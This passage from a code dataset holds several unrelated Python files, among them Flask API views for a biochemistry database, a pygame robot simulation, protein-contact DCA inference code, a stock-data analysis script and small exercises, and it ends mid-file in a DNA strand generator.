serialized_subunits = ProteinSubunitSerializer().dump(subunit_search, many=True)\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}.json\".format(value)\n\n return {'subunits': serialized_subunits.data}, 200, headers\n\nclass ProteinComplexSearch(Resource):\n @api.doc(params={'value': 'Value to search over in the protein complex space',\n 'download': 'Boolean option to download content'})\n def get(self,value):\n complex_search = complex_manager._search(value)\n serialized_complexes = ProteinComplexSerializer().dump(complex_search, many=True)\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}.json\".format(value)\n\n return {'complexes': serialized_complexes.data}, 200, headers\n\nclass Metabolite(Resource):\n\n @api.doc(params={'id': 'Metabolite ID to find information for',\n 'download': 'Boolean option to download content'})\n def get(self, id):\n metabolite = metabolite_manager.get_metabolite_by_id(id)\n observed_concentrations = metabolite_manager.get_observed_concentrations(metabolite)\n reactions = reaction_manager.get_reaction_by_metabolite(metabolite)\n\n serialized_metabolite = MetaboliteSerializer().dump(metabolite)\n serialized_concentrations = ObservedValueSerializer().dump(observed_concentrations, many=True)\n serialized_reactions = ReactionSerializer().dump(reactions, many=True)\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}.json\".format(metabolite.metabolite_name)\n\n return {'object':serialized_metabolite.data,\n 'concentrations': serialized_concentrations.data,\n 'reactions' : serialized_reactions.data}, 200, headers\n\nclass ProteinSubunit(Resource):\n\n @api.doc(params={'id': 'Protein Subunit ID to find information for',\n 'download': 'Boolean option to download content'})\n def get(self, id):\n subunit = subunit_manager.get_subunit_by_id(id)\n observed_abundances = subunit_manager.get_observed_abundances(subunit)\n observed_interactions = subunit_manager.get_observable_interactions(subunit)\n observed_complexes = subunit_manager.get_observable_complex(subunit)\n\n serialized_subunit = ProteinSubunitSerializer().dump(subunit)\n serialized_abundances = ObservedValueSerializer().dump(observed_abundances, many=True)\n serialized_interactions = ObservedInteractionSerializer().dump(observed_interactions, many=True)\n serialized_complexes = ObservedComplexSpecieSerializer().dump(observed_complexes, many=True)\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}.json\".format(subunit.uniprot_id)\n\n\n return {'object': serialized_subunit.data,\n 'abundances': serialized_abundances.data,\n 'interactions': serialized_interactions.data,\n 'complexes': serialized_complexes.data}, 200, headers\n\nclass ProteinComplex(Resource):\n\n @api.doc(params={'id': 'Protein Complex ID to find information for',\n 'download': 'Boolean option to download content'})\n def get(self, id):\n complex = complex_manager.get_complex_by_id(id)\n observed_subunits = complex_manager.get_observable_subunits(complex)\n\n serialized_complex = ProteinComplexSerializer().dump(complex)\n serialized_subunits = ObservedProteinSpecieSerializer().dump(observed_subunits, many=True)\n\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}.json\".format(complex.complex_name)\n\n\n return {'object':serialized_complex.data,\n 'subunits': serialized_subunits.data}, 200, headers\n\nclass Reaction(Resource):\n\n @api.doc(params={'id': 'Reaction ID to find information for',\n 'download': 'Boolean option to download content'})\n def get(self, id):\n reaction = reaction_manager.get_reaction_by_kinetic_law_id(id)\n observed_parameters = reaction_manager.get_observed_parameter_value(reaction)\n\n serialized_reaction = ReactionSerializer().dump(reaction)\n serialized_parameters = ObservedValueSerializer().dump(observed_parameters, many=True)\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}_reaction.json\".format(reaction.id)\n\n\n return {'object': serialized_reaction.data,\n 'parameters': serialized_parameters.data}, 200, headers\n\nclass MetaboliteConcentration(Resource):\n\n @api.doc(params={'id': 'Metabolite ID to find concentration information for',\n 'download': 'Boolean option to download content'})\n def get(self, id):\n metabolite = metabolite_manager.get_metabolite_by_id(id)\n observed_concentrations = metabolite_manager.get_observed_concentrations(metabolite)\n serialized_concentrations = ObservedValueSerializer().dump(observed_concentrations, many=True)\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}_concentrations.json\".format(metabolite.metabolite_name)\n\n\n return {'concentrations': serialized_concentrations}, 200, headers\n\nclass ProteinAbundance(Resource):\n\n @api.doc(params={'id': 'Protein Subunit ID to find abundance information for',\n 'download': 'Boolean option to download content'})\n def get(self, id):\n subunit = subunit_manager.get_subunit_by_id(id)\n observed_abundances = subunit_manager.get_observed_abundances(subunit)\n serialized_abundances = ObservedValueSerializer().dump(observed_abundances, many=True).data\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}_abundances.json\".format(subunit.uniprot_id)\n\n\n return {'abundances':serialized_abundances}, 200, headers\n\nclass ProteinInteraction(Resource):\n\n def get(self,id):\n pass\n\nclass ReactionParameter(Resource):\n\n @api.doc(params={'id': 'Reaction ID to find reaction paramater information for',\n 'download': 'Boolean option to download content'})\n def get(self,id):\n reaction = reaction_manager.get_reaction_by_kinetic_law_id(id)\n observed_parameters = reaction_manager.get_observed_parameter_value(reaction)\n serialized_parameters = ObservedValueSerializer().dump(observed_parameters, many=True).data\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}_rxn_parameters.json\".format(reaction.id)\n\n return {'parameters': serialized_parameters}, 200, headers\n","sub_path":"datanator/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"147590512","text":"from robot import Robot\nfrom environment import Shelf\nimport pygame\n\nif __name__ == '__main__':\n rob = [Robot((20, 380)), Robot((70, 20)), Robot((220, 20))]\n env = [Shelf((20, 200)), Shelf((120, 200)), Shelf((220, 200)), Shelf((320, 200)), Shelf((420, 200)), Shelf((520, 200))]\n pygame.init()\n pygame.display.set_caption(\"Symulacja\")\n window_width = 600\n window_height = 400\n screen = pygame.display.set_mode((window_width, window_height))\n\n v = 0.5\n exit = False\n dir = [v,0]\n dir1 = [v, 0]\n dir2 = [0, v]\n while not exit:\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit = True\n\n screen.fill((0, 0, 0))\n for x in rob:\n x.draw(screen)\n for x in env:\n x.draw(screen)\n rob[2].move(dir[0], dir[1])\n robPos = rob[2].getPosition()\n if robPos[0] > 570:\n dir = [-v, 0]\n elif robPos[0] < 170:\n dir = [v, 0]\n\n rob[0].move(dir1[0], dir1[1])\n robPos = rob[0].getPosition()\n if robPos[0] > 570:\n dir1 = [-v, 0]\n elif robPos[0] < 20:\n dir1 = [v, 0]\n\n rob[1].move(dir2[0], dir2[1])\n robPos = rob[1].getPosition()\n if robPos[1] > 370:\n dir2 = [0, -v]\n elif robPos[1] < 20:\n dir2 = [0, v]\n\n pygame.display.flip()\n\n pygame.quit()\n\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"637533716","text":"import requests\nimport json\n\nROOT_URL = 'http://127.0.0.1:5000'\nheaders = {'Content-type': 'application/json'}\n\n\ndef print_formatted_response(response):\n \"\"\"\n Helper function to pretty print the response object\n \"\"\"\n print(\"Response Status Code: \" + str(response.status_code))\n print(\"Response data: \" + response.text)\n\ndef call_create_message_api(body):\n print(\"Calling the CreateMessage API...\")\n url = ROOT_URL + '/messages/'\n response = requests.post(\n url,\n data=json.dumps(body),\n headers=headers\n )\n print_formatted_response(response)\n return response.json()\n\ndef call_delete_message_api(id):\n print(\"Calling the DeleteMessage API...\")\n url = ROOT_URL + '/messages/' + str(id)\n response = requests.delete(url)\n print_formatted_response(response)\n\ndef call_delete_all_message_api():\n print(\"Deleting all Messages...\")\n url = ROOT_URL + '/messages/'\n response = requests.get(url)\n for message in response.json()['messages']:\n call_delete_message_api(message['id'])\n print(\"Deleted message ID: \" + str(message['id']))\n\n\nif __name__ == '__main__':\n request_body_1 = {\n \"username\": \"johndoe\",\n \"content\": \"hey its me\",\n \"chat_id\": \"mainchat\"\n }\n request_body_2 = {\n \"username\": \"janedoe\",\n \"content\": \"hey its also me\",\n \"chat_id\": \"mainchat\"\n }\n\n call_create_message_api(request_body_1)\n call_create_message_api(request_body_2)\n\n call_delete_all_message_api()","sub_path":"scripts/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"530193416","text":"# class Soldier:\n# def __init__(self,model,name,age,max_bullet):\n# self.gun = Gun(model)\n# self.name = name\n# self.__age = age\n# self.max_bullet = max_bullet\n# def fair(self):\n# self.gun.shoot()\n# def load(self,bullet_num):\n# self.gun.add_bullet(bullet_num)\n# def __str__(self):\n# return (\"%s拿着一把%s枪,进行了打猎开,添加了子弹数%s\"%(self.name,self.gun.model,self.max_bullet))\n#\n#\n# class Gun:\n# def __init__(self,model):\n# self.model = model\n# self.bullet_count = 0\n# def add_bullet(self,count):\n# self.bullet_count += count\n# def shoot(self):\n# if self.bullet_count <= 0:\n# print(\"[子弹数量不足]\")\n# else:\n# self.bullet_count = self.bullet_count - 1\n#\n#\n# man = Soldier(\"AK47\",\"李四\",28,20)\n# man.load(20)\n# print(man._Soldier__age)\n# man.fair()\n# print(man)\n\n\nimport numpy as np\ndef sum1(N):\n for i in np.arange(N):\n yield i ** 2\ny = sum1(10)\nprint(type(y))\nnext(y)\nnext(y)\nnext(y)\nfor i in y:\n print(i)\n\n\ndef add():\n s =1\n b =2\n return s,b\na , b = add()\nprint(a,b)\n\n","sub_path":"OOP/soldier_gun.py","file_name":"soldier_gun.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"313741724","text":"import numpy as np\nfrom scipy import linalg\nfrom scipy.spatial import distance\nimport os, sys\n#import matplotlib.pyplot as plt\n#=========================================================================================\n#np.random.seed(1)\n#pfam_id = 'PF00018'\n#s0 = np.loadtxt('data_processed/%s_s0.txt'%(pfam_id)).astype(int)\n\n# pydca implementation to compute sequences weight (for use in calculation of M_effective)\ndef compute_sequences_weight(alignment_data, seqid, outfile=None):\n \"\"\"Computes weight of sequences. The weights are calculated by lumping\n together sequences whose identity is greater that a particular threshold.\n For example, if there are m similar sequences, each of them will be assigned\n a weight of 1/m. Note that the effective number of sequences is the sum of\n these weights.\n\n Parameters\n ----------\n alignmnet_data : np.array()\n Numpy 2d array of the alignment data, after the alignment is put in\n integer representation\n seqid : float\n Value at which beyond this sequences are considered similar. Typical\n values could be 0.7, 0.8, 0.9 and so on\n\n Returns\n -------\n seqs_weight : np.array()\n A 1d numpy array containing computed weights. This array has a size\n of the number of sequences in the alignment data.\n \"\"\"\n if os.path.exists(outfile) and outfile is not None:\n seqs_weight = np.load(outfile)\n else:\n alignment_shape = alignment_data.shape\n num_seqs = alignment_shape[0]\n seqs_len = alignment_shape[1]\n seqs_weight = np.zeros((num_seqs,), dtype=np.float64)\n #count similar sequences\n for i in range(num_seqs):\n seq_i = alignment_data[i]\n for j in range(num_seqs):\n seq_j = alignment_data[j]\n iid = np.sum(seq_i==seq_j)\n if np.float64(iid)/np.float64(seqs_len) > seqid:\n seqs_weight[i] += 1\n #compute the weight of each sequence in the alignment\n for i in range(num_seqs): seqs_weight[i] = 1.0/float(seqs_weight[i])\n\n if outfile is not None:\n np.save(outfile, seqs_weight)\n else:\n np.save('seq_weight.npy', seqs_weight)\n\n return seqs_weight\n\n\n\n\ndef frequency(s0,q,theta,pseudo_weight, seq_weight_outfile=None):\n # q --> num site states (21)\n # theta --> minimum percent differnce columns (1-seqid)(.2)\n # pseudo_weight --> lambda equivalent (.5)\n\n n, l = s0.shape # n --> number of sequences, l --> number of aa in each sequence\n print(s0.shape)\n\n # hamming distance -- sequences weight calulation\n dst = distance.squareform(distance.pdist(s0, 'hamming'))\n ma_inv = 1/(1+(dst < theta).sum(axis=1).astype(float))\n meff_tai = ma_inv.sum()\n\n # pydca -- sequences weight calculation\n if seq_weight_outfile is not None:\n seqs_weight = compute_sequences_weight(alignment_data = s0, seqid = float(1.-theta), outfile=seq_weight_outfile)\n meff = np.sum(seqs_weight)\n fi_pydca = np.zeros((l, q))\n\n for i in range(l):\n for a in range(q):#we need gap states single site freqs too\n column_i = s0[:,i]\n freq_ia = np.sum((column_i==a)*seqs_weight)\n fi_pydca[i, a-1] = freq_ia/meff\n print(fi_pydca.shape)\n\n num_site_pairs = (l -1)*l/2\n num_site_pairs = np.int64(num_site_pairs)\n\n # pydca DOES NOT CONSIDER GAPS (-) so the dimensions are q-1\n fij_pydca = np.zeros(\n shape=(num_site_pairs, q - 1, q - 1), # does not consider - in frequency calc\n # shape=(q, q , q ), # considers gap in frequency calc\n dtype = np.float64\n )\n for i in range(l - 1):\n column_i = s0[:, i]\n for j in range(i+1, l):\n pair_site = int((l * (l - 1)/2) - (l - i) * ((l - i) - 1)/2 + j - i - 1)\n column_j = s0[:, j]\n\n # pydca DOES NOT CONSIDER GAPS (-) so the range is q-1\n for a in range(q-1):\n count_ai = column_i==a\n for b in range(q-1):\n count_bj = column_j==b\n count_ai_bj = count_ai * count_bj\n freq_ia_jb = np.sum(count_ai_bj*seqs_weight)\n fij_pydca[pair_site, a, b] += freq_ia_jb/meff\n np.save('fij_pydca.npy', fij_pydca)\n\n\n\n # fi_true:\n fi_true = np.zeros((l,q))\n for t in range(n):\n for i in range(l):\n fi_true[i,s0[t,i]] += ma_inv[t]\n print('meff for our MF = ', meff_tai)\n\n\n fi_true /= meff_tai\n\n # fij_true:\n fij_true = np.zeros((l,l,q,q))\n for t in range(n):\n for i in range(l-1):\n for j in range(i+1,l):\n fij_true[i,j,s0[t,i],s0[t,j]] += ma_inv[t]\n fij_true[j,i,s0[t,j],s0[t,i]] = fij_true[i,j,s0[t,i],s0[t,j]]\n\n fij_true /= meff_tai\n\n scra = np.eye(q)\n for i in range(l):\n for alpha in range(q):\n for beta in range(q):\n fij_true[i,i,alpha,beta] = fi_true[i,alpha]*scra[alpha,beta] \n\n # fi, fij\n fi = (1 - pseudo_weight)*fi_true + pseudo_weight/q\n fij = (1 - pseudo_weight)*fij_true + pseudo_weight/(q**2)\n\n scra = np.eye(q)\n for i in range(l):\n for alpha in range(q):\n for beta in range(q):\n fij[i,i,alpha,beta] = (1 - pseudo_weight)*fij_true[i,i,alpha,beta] \\\n + pseudo_weight/q*scra[alpha,beta] \n\n\n if seq_weight_outfile is not None:\n return fi,fij, fi_pydca, fij_pydca\n else:\n return fi, fij\n#=========================================================================================\n# convert index from 4d to 2d\ndef mapkey(i,alpha,q):\n return i*(q-1) + alpha\n#=========================================================================================\ndef correlation(fi,fij,q,l, fi_pydca=None, fij_pydca=None):\n print(fij_pydca.shape)\n\n # compute correlation matrix:\n c = np.zeros((l*(q-1),l*(q-1)))\n if fi_pydca is not None and fij_pydca is not None:\n corr_mat = np.zeros((l*(q-1),l*(q-1)), dtype=np.float64)\n pair_counter = 0\n for i in range(l):\n for j in range(i, l):\n for alpha in range(q-1):\n for beta in range(q-1):\n\n\n #new improving diagonal..\n if i==j:\n fia, fib = fi[i, alpha], fi[i, beta]\n c[mapkey(i,alpha,q), mapkey(j,beta,q)] = fia*(1.0 - fia) if alpha == beta else -1.0*fia*fib\n c[mapkey(j,beta,q), mapkey(i,alpha,q)] = fia*(1.0 - fia) if alpha == beta else -1.0*fia*fib\n else:\n c[mapkey(i,alpha,q), mapkey(j,beta,q)] = fij[i, j, alpha, beta] - fi[i, alpha] * fi[j, beta]\n c[mapkey(j,beta,q), mapkey(i,alpha,q)] = fij[i, j, alpha, beta] - fi[i, alpha] * fi[j,beta]\n\n\n #c[mapkey(i,alpha,q),mapkey(j,beta,q)] = fij[i,j,alpha,beta] - fi[i,alpha]*fi[j,beta]\n #c[mapkey(j,beta,q), mapkey(i,alpha,q)] = fij[i,j,alpha,beta] - fi[i,alpha]*fi[j,beta]\n if fi_pydca is not None:\n if i==j:\n fia, fib = fi_pydca[i, alpha], fi_pydca[i, beta]\n corr_ij_ab = fia*(1.0 - fia) if alpha == beta else -1.0*fia*fib\n else:\n corr_ij_ab = fij_pydca[pair_counter, alpha, beta] - fi_pydca[i, alpha] * fi_pydca[j, beta]\n corr_mat[mapkey(i,alpha,q),mapkey(j,beta,q)] = corr_ij_ab\n corr_mat[mapkey(j,beta,q), mapkey(i,alpha,q)] = corr_ij_ab\n if i != j : pair_counter += 1\n print(l*(q-1)) \n if fi_pydca is None: \n return c \n else:\n return c, corr_mat\n#=========================================================================================\n# set w = - c_inv\ndef interactions(c_inv,q,n):\n w = np.zeros((n,n,q,q))\n w2 = np.zeros((n*q,n*q))\n for i in range(n):\n for j in range(i+1,n):\n for alpha in range(q-1):\n for beta in range(q-1):\n w[i,j,alpha,beta] = -c_inv[mapkey(i,alpha,q),mapkey(j,beta,q)]\n w[i,j,alpha,beta] = -c_inv[mapkey(i,alpha,q),mapkey(j,beta,q)]\n w2[mapkey(i,alpha,q),mapkey(j,beta,q)] = -c_inv[mapkey(i,alpha,q),mapkey(j,beta,q)]\n \n w2 = w2+w2.T\n return w,w2\n#=========================================================================================\n# direct information\ndef direct_info(w,fi,q,l):\n ew_all = np.exp(w)\n di = np.zeros((l,l))\n tiny = 10**(-100.)\n diff_thres = 10**(-4.)\n\n for i in range(l-1):\n for j in range(i+1,l): \n ew = ew_all[i,j,:,:]\n\n #------------------------------------------------------\n # find h1 and h2:\n\n # initial value\n diff = diff_thres + 1.\n eh1 = np.full(q,1./q)\n eh2 = np.full(q,1./q)\n\n fi0 = fi[i,:]\n fj0 = fi[j,:]\n\n for iloop in range(100):\n eh_ew1 = eh2.dot(ew.T)\n eh_ew2 = eh1.dot(ew)\n\n eh1_new = fi0/eh_ew1\n eh1_new /= eh1_new.sum()\n\n eh2_new = fj0/eh_ew2\n eh2_new /= eh2_new.sum()\n\n diff = max(np.max(np.abs(eh1_new - eh1)),np.max(np.abs(eh2_new - eh2)))\n\n eh1,eh2 = eh1_new,eh2_new \n if diff < diff_thres: break \n\n # direct information\n eh1eh2 = eh1[:,np.newaxis]*eh2[np.newaxis,:]\n pdir = ew*(eh1eh2)\n pdir /= pdir.sum() \n\n fifj = fi0[:,np.newaxis]*fj0[np.newaxis,:]\n\n dijab = pdir*np.log((pdir+tiny)/(fifj+tiny))\n di[i,j] = dijab.sum()\n\n # symmetrize di\n di = di + di.T\n return di\n#=========================================================================================\ndef direct_info_dca(s0,q=21,theta=0.2,pseudo_weight=0.5, seq_wt_outfile=None):\n n, l = s0.shape # n --> number of sequences, l --> number of aa in each sequence\n mx = np.full(n,q)\n \n if seq_wt_outfile is not None:\n fi,fij,fi_pydca, fij_pydca = frequency(s0,q,theta,pseudo_weight, seq_weight_outfile=seq_wt_outfile)\n else:\n fi,fij = frequency(s0,q,theta,pseudo_weight)\n\n print(fi_pydca.shape)\n # regularization of pydca's frequency\n reg_fi_pydca = fi_pydca\n\n print(reg_fi_pydca.shape)\n theta_by_q = np.float64(pseudo_weight)/np.float64(q)\n for i in range(l):\n for a in range(q):\n reg_fi_pydca[i, a] = theta_by_q + \\\n (1.0 - pseudo_weight)*reg_fi_pydca[i, a]\n reg_fij_pydca = fij_pydca\n theta_by_qsqrd = pseudo_weight/float(q * q)\n pair_counter = 0\n for i in range(l - 1):\n for j in range(i + 1, l):\n for a in range(q-1):\n for b in range(q-1):\n reg_fij_pydca[pair_counter, a, b] = theta_by_qsqrd + \\\n (1.0 - pseudo_weight)*reg_fij_pydca[pair_counter, a, b]\n pair_counter += 1\n\n\n\n\n\n c, c_pydca = correlation(fi,fij,q,l, fi_pydca, fij_pydca)\n\n # c_inv = linalg.inv(c)\n c_inv = np.linalg.inv(c)\n c_inv_pydca = np.linalg.inv(c_pydca)\n\n\n w,w2d = interactions(c_inv,q,l)\n w_pydca,w2d_pydca = interactions(c_inv_pydca,q,l)\n\n #np.save('w.npy',w) # 4d\n #np.savetxt('w2d.dat',w2d,fmt='%f') # 2d\n\n di = direct_info(w,fi,q,l)\n di_pydca = direct_info(w_pydca,fi_pydca,q,l)\n \n return di, fi, fij, c, c_inv, w, w2d, reg_fi_pydca, reg_fij_pydca, c_pydca, c_inv_pydca, w_pydca, w2d_pydca, di_pydca\n\n#np.savetxt('%s_di.dat'%(pfam_id),di,fmt='% f')\n#plt.imshow(di,cmap='rainbow',origin='lower')\n\n","sub_path":"inference_dca.py","file_name":"inference_dca.py","file_ext":"py","file_size_in_byte":11884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"5646493","text":"__version__ = '0.1'\n__author__ = 'Arnab Chatterjee'\n\nimport numpy as np\nimport pandas as pd\nimport datetime as dt\nimport os\n\n\nclass DateVal:\n\n def __init__(self, date=dt.datetime.now().strftime('%d-%m-%Y')):\n self.date = dt.datetime.strptime ( date, '%d-%m-%Y' )\n\n def setToday(self):\n return self.date.strftime(\"%d%m%y\")\n\n def setYesterDay(self):\n wkday = self.date.weekday ()\n if wkday == 0:\n yesterday = self.date - dt.timedelta ( days=3 )\n elif wkday == 6:\n yesterday = self.date - dt.timedelta ( days=2 )\n else:\n yesterday = self.date - dt.timedelta ( days=1 )\n\n yesterday: str = yesterday.strftime ( \"%d%m%y\" )\n\n return yesterday\n\n\nclass DataOperation:\n\n def __init__(self,today,yesterday):\n self.today=today\n self.yesterday=yesterday\n self.file_path = \"/Users/arnab/Documents/data/NSE_Data/\"\n\n def setDirectory(self):\n op_file_dir = os.path.join ( self.file_path, 'output/', self.today )\n if os.path.isdir ( op_file_dir ):\n pass\n else:\n try:\n os.mkdir ( op_file_dir )\n except OSError as error:\n print ( error )\n\n @property\n def getTodayOPDir(self) -> str:\n today_dir=os.path.join ( self.file_path, 'output/', self.today )\n return today_dir\n\n @property\n def getYesterdayOPDir(self) -> str:\n yesterday_dir=os.path.join ( self.file_path, 'output/', self.yesterday )\n return yesterday_dir\n\n def cleanPDDataFile(self):\n # read initial downloaded csv data\n init_df = pd.read_csv ( self.file_path + \"PR\" + self.today + \"/\" + \"Pd\" + self.today + \".csv\" )\n\n # clean sheet with only EQ and take only required columns\n clean_df = init_df[ init_df[ \"SERIES\" ] == 'EQ' ][\n [ 'SYMBOL', 'SECURITY', 'PREV_CL_PR', 'OPEN_PRICE', 'CLOSE_PRICE', 'HIGH_PRICE', 'LOW_PRICE', 'NET_TRDVAL',\n 'NET_TRDQTY', 'TRADES', 'HI_52_WK', 'LO_52_WK' ] ]\n\n # convert numerical columns\n cols = clean_df.columns.drop ( [ 'SYMBOL', 'SECURITY' ] )\n clean_df[ cols ] = clean_df[ cols ].apply ( pd.to_numeric, errors='coerce' )\n\n return clean_df\n\n def calculatePercentage(self, base_df,kind):\n self.setDirectory ()\n\n base_df.loc[ :, 'PERCENTAGE' ] = base_df.eval ( '((CLOSE_PRICE - OPEN_PRICE)/OPEN_PRICE)*100' )\n base_df[ 'PERCENTAGE' ] = base_df[ 'PERCENTAGE' ].round ( 2 )\n base_df.to_csv ( self.getTodayOPDir + \"/\" + 'My_Choice_' + kind + '-' + self.today + '.csv' )\n #return base_df\n\n def setTopStocks(self,base_df,kind):\n self.setDirectory ()\n self.calculatePercentage(base_df,kind)\n\n df=pd.read_csv(self.getTodayOPDir + \"/\" + 'My_Choice_' + kind + '-' + self.today + '.csv')\n top10_df = df.sort_values ( 'PERCENTAGE', ascending=False ).head ( 10 )\n # arrange column position\n top10_cols = top10_df.columns.to_list ()\n top10_cols = top10_cols[ 0:2 ] + top10_cols[ -1: ] + top10_cols[ 2:12 ]\n top10_df = top10_df[ top10_cols ]\n # copy data in csv file\n top10_df.to_csv ( self.getTodayOPDir + \"/\" + 'Top_Stock_' + kind + '-' + self.today + '.csv' )\n\n\n# Main process start\ndt_obj = DateVal (\"26-08-2020\")\ncurr_dt= dt_obj.setToday()\ny_dt = dt_obj.setYesterDay ()\n\ndo = DataOperation(curr_dt,y_dt)\nclean_pd_df=do.cleanPDDataFile()\n\n# filter EQ which ended in +ve, copy slice in new dataframe\nmy_choice = clean_pd_df[ (clean_pd_df[ \"CLOSE_PRICE\" ] > clean_pd_df[ \"OPEN_PRICE\" ]) ].copy ()\n# Condition - number of trade instruction > 10,000\nmy_choice_trades = clean_pd_df[\n (clean_pd_df[ \"TRADES\" ] > 10000) & (clean_pd_df[ \"CLOSE_PRICE\" ] > clean_pd_df[ \"OPEN_PRICE\" ]) ].copy ()\n# Condition - number of trade quantity > 500,000\nmy_choice_trdqty = clean_pd_df[\n (clean_pd_df[ \"NET_TRDQTY\" ] > 500000) & (clean_pd_df[ \"CLOSE_PRICE\" ] > clean_pd_df[ \"OPEN_PRICE\" ]) ].copy ()\n# Condition - number of trade value > 100,000,000\nmy_choice_trdval = clean_pd_df[\n (clean_pd_df[ \"NET_TRDVAL\" ] > 100000000) & (clean_pd_df[ \"CLOSE_PRICE\" ] > clean_pd_df[ \"OPEN_PRICE\" ]) ].copy ()\n\ndo.setTopStocks(my_choice,\"ALL\")\n","sub_path":"src/nse/eod_pd_analysis.py","file_name":"eod_pd_analysis.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"1914270","text":"from Cos.Cos64 import Kernel\n\nmessage = \"\\nA fatal error has occured in the currently running prosess that caused a kernel panic\\n\" \\\n \"This screen has occured to protect your system against further damage caused by the crashed program\\n\" \\\n \"The os will be shut-down after the enter key is pressed\\n\\n\" \\\n \"All unsaved data will be lost!\\n\\n\\n\" \\\n \"Error code:\"\n\nError_Code = \"Kernel_Panic\"\n\n\ndef CrashHandler(Custom_Errorcode, Enable_Custom_Errorcode):\n if Enable_Custom_Errorcode:\n Kernel.Crash(message, Custom_Errorcode)\n\n else:\n Kernel.Crash(message, Error_Code)","sub_path":"Cos_1.2 Coding python/Cos/Cos64/CrashHandler.py","file_name":"CrashHandler.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"69391939","text":"#desarrolle en Python un programa para calcular la inversa de matrices de dimension 2x2, no olvide colocar\n# comentarios en su programa\n\n# Python program to inverse\n# a matrix using numpy\n#Programa que crea una matriz de dimensiones con los datos que ingresa el usuario\n#Import required package\nimport numpy as np #asignamos np para facillitar el codigo al escribir\nfilas = int(input(\"Introduce numero de filas: \")) #se crean las dimensiones de la mattriz\ncolumnas = int(input(\"Introduce el nunero de columnas:\"))\n\nmatriz = []\nfor i in range(filas):\n matriz.append([]) #añadimos la lista\n for j in range(columnas):\n valor = float(input(\"Fila{},Columna{} : \".format(i+1, j+1))) #nos referimos a numeros de orden\n matriz[i].append(valor) #añadimos el valor que introduce el usuario\nprint()\nfor fila in matriz:\n print(\"[\",end=\" \")\n for elemento in fila:\n print(\"{:8.2}\".format(elemento), end=\" \") #creamos un formato adecuado\n print(\"]\")\nprint()\n\n\n\n\nprint(\" La matriz inversa es :\")\n# Calculamos la inversa de la matriz\nprint(np.linalg.inv(matriz)) #calculamos la inversa de la matriz creada y la imprimimos\n","sub_path":"matrizinversa.py","file_name":"matrizinversa.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"46462861","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import stats\nimport linear_modeling\n\n# Loading full model condition from 0 back and 2 back\nbeta_0 = np.loadtxt('../../../data/beta/task001_run001_betas_hat_full.txt')\nbeta_2 = np.loadtxt('../../../data/beta/task003_run001_betas_hat_full.txt')\n\n# Loading design matrix for full model condition\ndesign = np.loadtxt('../../../data/design_matrix/full_design_mat.txt')\n\n# Calucate the difference of beta between two models\nbeta_0 = beta_0[:, 0:beta_2.shape[1]]\nbeta_df = np.subtract(beta_2, beta_0)\n\n# Calucate the t-test on the beta1 and beta4\nbeta_df1 = beta_df[1,:]\nbeta_df4 = beta_df[4,:]\nt1, prob1 = stats.ttest_1samp(beta_df1, 0.0)\nt4, prob4 = stats.ttest_1samp(beta_df1, 0.0)\nprint(\"T-value and P-value of the differencing of event-related beta_hat: \", t1, prob1)\nprint(\"T-value and P-value of the differencing of event-related beta_hat: \", t4, prob4)\n\n","sub_path":"code/utils/linear_modeling/comparing_two_back.py","file_name":"comparing_two_back.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"410105454","text":"#! /usr/bin/env python3\n\n# -----------------------------------\n# Version: 0.0.1\n# Author: Lennard Böhnke\n# Description: Insert description here\n# Last modified: 2018-01-09T17:36:29.138Z\n# -----------------------------------\n\"\"\"This module can be used to generate a DNA strand randomly or based on nature's rules, and can be used to check either. Please enter the generation method 'correct' or 'random' as the first argument, the amount of pairs to be generated for the second argument, and the filename which to save the generated strand to as the third argument. Alternatively, enter \"check\" as the first argument and the file to check as the second argument. Empty arguments will result in a default selected execution of the module.\"\"\"\n\n\nfrom random import randint\nfrom sys import argv as arguments\nbases = [\"A\", \"T\", \"G\", \"C\"]\n\n\ndef generate_DNA_random_pair(number_of_pairs=\"100\"):\n \"\"\"Generates random DNA pairs based on given bases and amount of pairs defined by user.\"\"\"\n pair = []\n strand = []\n for i in range(int(number_of_pairs)):\n for i in range(2):\n chosen_base_number = randint(0,3)\n pair.append(bases[chosen_base_number])\n strand.append(pair)\n pair = []\n return strand\n\n\ndef generate_DNA_pair_by_rule(number_of_pairs=\"100\"):\n \"\"\"Generates DNA pairs based on given bases and amount of pairs defined by user, but following 